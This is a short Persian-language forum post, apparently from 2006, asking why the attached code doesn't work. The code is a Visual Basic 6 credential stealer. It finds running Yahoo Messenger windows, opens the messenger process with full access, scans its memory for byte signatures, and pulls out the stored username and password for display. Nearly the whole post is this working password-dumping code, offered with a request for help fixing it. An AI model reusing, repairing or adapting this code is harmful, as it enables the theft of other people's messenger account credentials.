۱۵-بهمن-۱۳۸۴, ۲۰:۲۲:۳۵
کسی میدونه مشکل این کجاست؟
جواب نمیده :cry: :cry:
جواب نمیده :cry: :cry:
کد:
Option Explicit
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2
Private Sub TimPass()
Dim yhandle As Long
Dim namClass As String
Dim findy As Boolean
Dim ss As String
Dim SignUser7x() As Variant
Dim SignPass7x() As Variant
SignUser7x = Array(&HFF, &H35, &HCC, &H51, &H6E)
'SignPass7x = Array(&HA3, &H84, &H52, &H6E)
SignPass7x = Array(&H35, &H84, &H52, &H6E)
yhandle = GetDesktopWindow()
yhandle = GetWindow(yhandle, GW_CHILD)
namClass = Space(1024)
Do While yhandle <> 0
Call GetClassName(yhandle, namClass, 1024)
Text1.Text = namClass
If Trim(Text1.Text) = "YahooBuddyMain" Then
yahoodump yhandle, True, SignUser7x, ss
List1.AddItem "Username:" & ss
yahoodump yhandle, False, SignPass7x(), ss
List1.AddItem "Password:" & ss
findy = True
End If
yhandle = GetWindow(yhandle, GW_HWNDNEXT)
Loop
If findy = False Then MsgBox "No Yahoo Messengers Found": Exit Sub
End Sub
Sub yahoodump(yhwnd As Long, isuser As Boolean, Sign As Variant, ByRef gtext As String)
Const StartCode = &H400000
Const EndCode = StartCode + &H2F0FFC
Const bufmax = 1024
Dim Y_Pid, Y_Proc, BytesRead, Founds, x, y, SignCount, Cnt, Geten As Long
Dim buffer(0 To bufmax - 1) As Byte
Dim sss As String
Dim Adr As Long, bfLg As Long, big, small As Long
small = 0
Adr = StartCode
Select Case Sign(0)
Case &H74
big = 5
Case &H1
big = 6
Case &H35
big = 3
Case &HFF
big = 4
End Select
SignCount = (big - small) + 1
gtext = ""
Founds = 0
sss = ""
GetWindowThreadProcessId yhwnd, Y_Pid
Y_Proc = OpenProcess(PROCESS_ALL_ACCESS, False, Y_Pid)
If Y_Proc = 0 Then Exit Sub
Do
ReadProcessMemory Y_Proc, Adr, buffer(0), 1024, BytesRead
If BytesRead <= 0 Then Exit Do
x = 0
Do
If buffer(x) = Sign(Founds) Then
Founds = Founds + 1
If Founds = SignCount Then
If isuser Then
ReadProcessMemory Y_Proc, (((Adr + x) - SignCount) + 1) - &H4, Geten, 3, Cnt
Geten = Geten - &H44
Else
ReadProcessMemory Y_Proc, (((Adr + x) - SignCount) + 1) + &H1, Geten, 3, Cnt
ReadProcessMemory Y_Proc, Geten, Geten, 3, Cnt
Geten = Geten + &H40
End If
For y = 1 To 64
ReadProcessMemory Y_Proc, Abs(Geten) + y - 1, bfLg, 1, 0&
sss = sss & Chr(bfLg)
Next y
gtext = sss
CloseHandle Y_Proc
Exit Sub
End If
Else
If x > 0 Then x = x - Founds
Founds = 0
End If
x = x + 1
Loop Until x = BytesRead
Adr = Adr + BytesRead
Loop Until (BytesRead = 0) Or (Adr > EndCode)
CloseHandle Y_Proc
End Sub
Private Sub Form_Load()
TimPass
End Sub